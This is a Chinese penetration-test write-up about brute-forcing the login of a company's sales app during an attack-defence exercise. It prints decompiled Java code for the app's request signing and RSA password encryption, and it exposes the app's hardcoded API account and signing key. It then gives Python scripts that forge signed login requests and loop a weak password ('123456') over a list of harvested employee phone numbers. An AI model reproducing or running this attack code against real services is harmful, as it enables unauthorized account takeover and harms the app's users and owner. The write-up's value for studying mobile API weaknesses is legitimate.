记一次APP登录爆破

简介: 记一次APP登录爆破

前言


某次攻防演练中,在前期信息收集的时候找到了一款客户销售APP,没有注册接口,通过收集目标APP的内部员工手机号,对其进行口令爆破。


使用工具


安卓12


jadx-gui


抓取登录HTTP请求包


  1. 安装burp证书,并抓取登录请求


POST /loginUser HTTP/1.1
Host: api.xxxx.xxxxx.com
apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone=xxxx&sign=72C132B392873B3F4F6C0872E5EC4B5A&enc=M%2F8hR0rN%2B0KwSGZ59%2FGQqWbrUgTAMZW%2FPnv2tiKlMjGmy%2Fmtu7tXSEftEkTLOoczSXH8%3D&timestamp=1658332134014
  1. 分析登录请求包中需要五个参数
  1. apiaccount
  2. sign
  3. enc
  4. phone
  5. timestamp

反编译分析


apiaccount


搜索关键词



此关键词为固定值vrpuc-aaf91f835147ce2d01216bd3bd5c3516


phone


手机号


timestamp


  1. 此值为当前的时间戳String.valueOf(System.currentTimeMillis())


  1. 改写为python代码


import time
timestamp = str(int(time.time()*1000))

sign


06994dfcebcc55a21c4cb2fc1950dadd_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

b3b404cfd6b6e0410890e3d498927c70_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

b30706f6c28426de943e7d1e9447d06a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

c832bb9da95ff613ca6e515d92469467_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


 public static O d(String str, String str2) {
        HashMap hashMap = new HashMap();
        hashMap.put("phone", str);
        hashMap.put("enc", e(str2));
        return c.g.b.f.b.c(f.h(), a(hashMap));
    }
    private static Map<String, String> a(Map<String, String> map) {
        HashMap hashMap = new HashMap();
        hashMap.put("apiaccount", "vrpuc-aaf91f835147ce2d01216bd3bd5c3516");
        hashMap.put("timestamp", String.valueOf(System.currentTimeMillis()));
        TreeMap treeMap = new TreeMap();
        treeMap.putAll(hashMap);
        if (map != null) {
            treeMap.putAll(map);
        }
        hashMap.put("sign", a((SortedMap<String, String>) treeMap));
        if (map != null) {
            hashMap.putAll(map);
        }
        return hashMap;
    }
    private static String a(SortedMap<String, String> sortedMap) {
        StringBuffer stringBuffer = new StringBuffer();
        for (Map.Entry<String, String> entry : sortedMap.entrySet()) {
            if (!TextUtils.isEmpty(entry.getValue())) {
                stringBuffer.append(entry.getKey() + "=" + entry.getValue() + "&");
            }
        }
        stringBuffer.append("key=a0f723c011346j39w049d7bf0356b34b");
        return D.d(stringBuffer.toString()).toUpperCase();
    }
    private static byte[] a(byte[] bArr, String str) {
        if (bArr != null && bArr.length > 0) {
            try {
                MessageDigest messageDigest = MessageDigest.getInstance(str);
                messageDigest.update(bArr);
                return messageDigest.digest();
            } catch (NoSuchAlgorithmException e2) {
                e2.printStackTrace();
            }
        }
        return null;
    }
    private static String q(byte[] bArr) {
        int length;
        if (bArr != null && (length = bArr.length) > 0) {
            char[] cArr = new char[length << 1];
            int i2 = 0;
            for (int i3 = 0; i3 < length; i3++) {
                int i4 = i2 + 1;
                char[] cArr2 = f10685a;
                cArr[i2] = cArr2[(bArr[i3] >> 4) & 15];
                i2 = i4 + 1;
                cArr[i4] = cArr2[bArr[i3] & 15];
            }
            return new String(cArr);
        }
        return "";
    }

sign参数组合



xxxxxxxxxx sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=xxxxxx&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'


enc


`str = phone ` `str2 = password`


e011de75da1de85fe6b6b94b9c7adc56_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

426bb59a698c8c4afa5bb008901870c3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

cc4592dd5055c683f50e5a0ea3733958_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png




大致流程

  1. 输入密码
  2. 密码 + 随机10位salt
  1. "password=" + "密码" + "&salt=" + salt
  1. 使用此函数操作密钥


 private static byte[] b(String str) throws UnsupportedEncodingException {
        int i2;
        byte b2;
        int i3;
        byte b3;
        int i4;
        byte b4;
        int i5;
        byte b5;
        StringBuffer stringBuffer = new StringBuffer();
        byte[] bytes = str.getBytes("US-ASCII");
        int length = bytes.length;
        int i6 = 0;
        while (i6 < length) {
            while (true) {
                i2 = i6 + 1;
                b2 = f16023b[bytes[i6]];
                if (i2 >= length || b2 != -1) {
                    break;
                }
                i6 = i2;
            }
            if (b2 == -1) {
                break;
            }
            while (true) {
                i3 = i2 + 1;
                b3 = f16023b[bytes[i2]];
                if (i3 >= length || b3 != -1) {
                    break;
                }
                i2 = i3;
            }
            if (b3 == -1) {
                break;
            }
            stringBuffer.append((char) ((b2 << 2) | ((b3 & 48) >>> 4)));
            while (true) {
                i4 = i3 + 1;
                byte b6 = bytes[i3];
                if (b6 == 61) {
                    return stringBuffer.toString().getBytes("iso8859-1");
                }
                b4 = f16023b[b6];
                if (i4 >= length || b4 != -1) {
                    break;
                }
                i3 = i4;
            }
            if (b4 == -1) {
                break;
            }
            stringBuffer.append((char) (((b3 & 15) << 4) | ((b4 & 60) >>> 2)));
            while (true) {
                i5 = i4 + 1;
                byte b7 = bytes[i4];
                if (b7 == 61) {
                    return stringBuffer.toString().getBytes("iso8859-1");
                }
                b5 = f16023b[b7];
                if (i5 >= length || b5 != -1) {
                    break;
                }
                i4 = i5;
            }
            if (b5 == -1) {
                break;
            }
            stringBuffer.append((char) (b5 | ((b4 & 3) << 6)));
            i6 = i5;
        }
        return stringBuffer.toString().getBytes("iso8859-1");
    }
  1. RSA加密
   Cipher cipher = Cipher.getInstance("RSA");
            cipher.init(1, publicKey);
            return cipher.doFinal(bArr);
  1. 使用此函数处理加密后的结果
 public static String a(byte[] bArr) {
        StringBuffer stringBuffer = new StringBuffer();
        int length = bArr.length;
        int i2 = 0;
        while (true) {
            if (i2 >= length) {
                break;
            }
            int i3 = i2 + 1;
            int i4 = bArr[i2] & 255;
            if (i3 == length) {
                stringBuffer.append(f16022a[i4 >>> 2]);
                stringBuffer.append(f16022a[(i4 & 3) << 4]);
                stringBuffer.append("==");
                break;
            }
            int i5 = i3 + 1;
            int i6 = bArr[i3] & 255;
            if (i5 == length) {
                stringBuffer.append(f16022a[i4 >>> 2]);
                stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);
                stringBuffer.append(f16022a[(i6 & 15) << 2]);
                stringBuffer.append("=");
                break;
            }
            int i7 = i5 + 1;
            int i8 = bArr[i5] & 255;
            stringBuffer.append(f16022a[i4 >>> 2]);
            stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);
            stringBuffer.append(f16022a[((i6 & 15) << 2) | ((i8 & 192) >>> 6)]);
            stringBuffer.append(f16022a[i8 & 63]);
            i2 = i7;
        }
        return stringBuffer.toString();
    }


编写python脚本


def main(phone,password):
    url = "https://xx.com/loginUser"
    sign = ""
    enc = ""
    tmtp = str(int(time.time() * 1000))
    salt = "1234567890"  # 随机生成的10个数字
    enc_ori = "password=" + password + "&salt=" + salt
    enc = gen_enc(enc_ori)
    sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=' + phone+'&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'
    sign = gen_sign(sign_ori)
    print(quote_plus(enc))
    data = "apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone="+phone+"&sign=" + sign + "&enc=" + quote_plus(enc) + "&timestamp=" + tmtp
    res = requests.post(url=url, data=data)
    print(res.text)


加字典爆破


def main(phone, password):
    res = requests.post(url=url, headers=headers, data=data)
    print(res.text)
if __name__ == "__main__":
    with open("phone","r") as f:
        for i in f.readlines():
            main(i.strip(),"123456")


总结


  1. 前期目标APP资产
  2. 收集用户手机号信息
  3. 生成弱口令字典
  4. 对目标进行爆破



相关文章
|
7月前
|
API 开发工具 Android开发
解决 Android App 上架 Google play后 ,签名变更,第三方sdk无法登录
解决 Android App 上架 Google play后 ,签名变更,第三方sdk无法登录
153 0
|
9月前
|
小程序 数据库 微服务
结合ruoyi-cloud和ruoyi-app实现微信小程序的授权登录
结合ruoyi-cloud和ruoyi-app实现微信小程序的授权登录
392 0
|
9月前
|
安全 数据安全/隐私保护 Python
Crack App | 某赢+ 二手车 App 登录参数加密逻辑分析
Crack App | 某赢+ 二手车 App 登录参数加密逻辑分析
|
7月前
|
缓存 移动开发 小程序
从零玩转系列之微信支付实战Uni-App微信授权登录和装修下单页面和搭建下单接口以及发起下单请求3
从零玩转系列之微信支付实战Uni-App微信授权登录和装修下单页面和搭建下单接口以及发起下单请求3
98 0
|
7月前
|
缓存 小程序 API
从零玩转系列之微信支付实战Uni-App微信授权登录和装修下单页面和搭建下单接口以及发起下单请求2
从零玩转系列之微信支付实战Uni-App微信授权登录和装修下单页面和搭建下单接口以及发起下单请求2
97 0
|
7月前
|
小程序 前端开发 安全
从零玩转系列之微信支付实战Uni-App微信授权登录和装修下单页面和搭建下单接口以及发起下单请求1
从零玩转系列之微信支付实战Uni-App微信授权登录和装修下单页面和搭建下单接口以及发起下单请求
66 0
从零玩转系列之微信支付实战Uni-App微信授权登录和装修下单页面和搭建下单接口以及发起下单请求1
|
9月前
|
安全 数据安全/隐私保护 Python
Crack App | 某合伙人登录参数 apisign 逻辑分析
Crack App | 某合伙人登录参数 apisign 逻辑分析
|
9月前
|
API
App实现登录页面切换头像的流程
在APP的登录操作中头像可根据用户需求自定义上传图片
95 0
|
10月前
|
前端开发 应用服务中间件 数据安全/隐私保护
【黑马头条训练营】day01-黑马头条整体构成与App登录
【黑马头条训练营】day01-黑马头条整体构成与App登录
120 0
|
10月前
|
存储 缓存 数据安全/隐私保护
【uni-app】使用uni-app实现简单的登录注册功能
前言 大家好,今天和大家分享一下如何在uni-app中实现简单的登录注册功能。 首先你需要掌握一下知识点: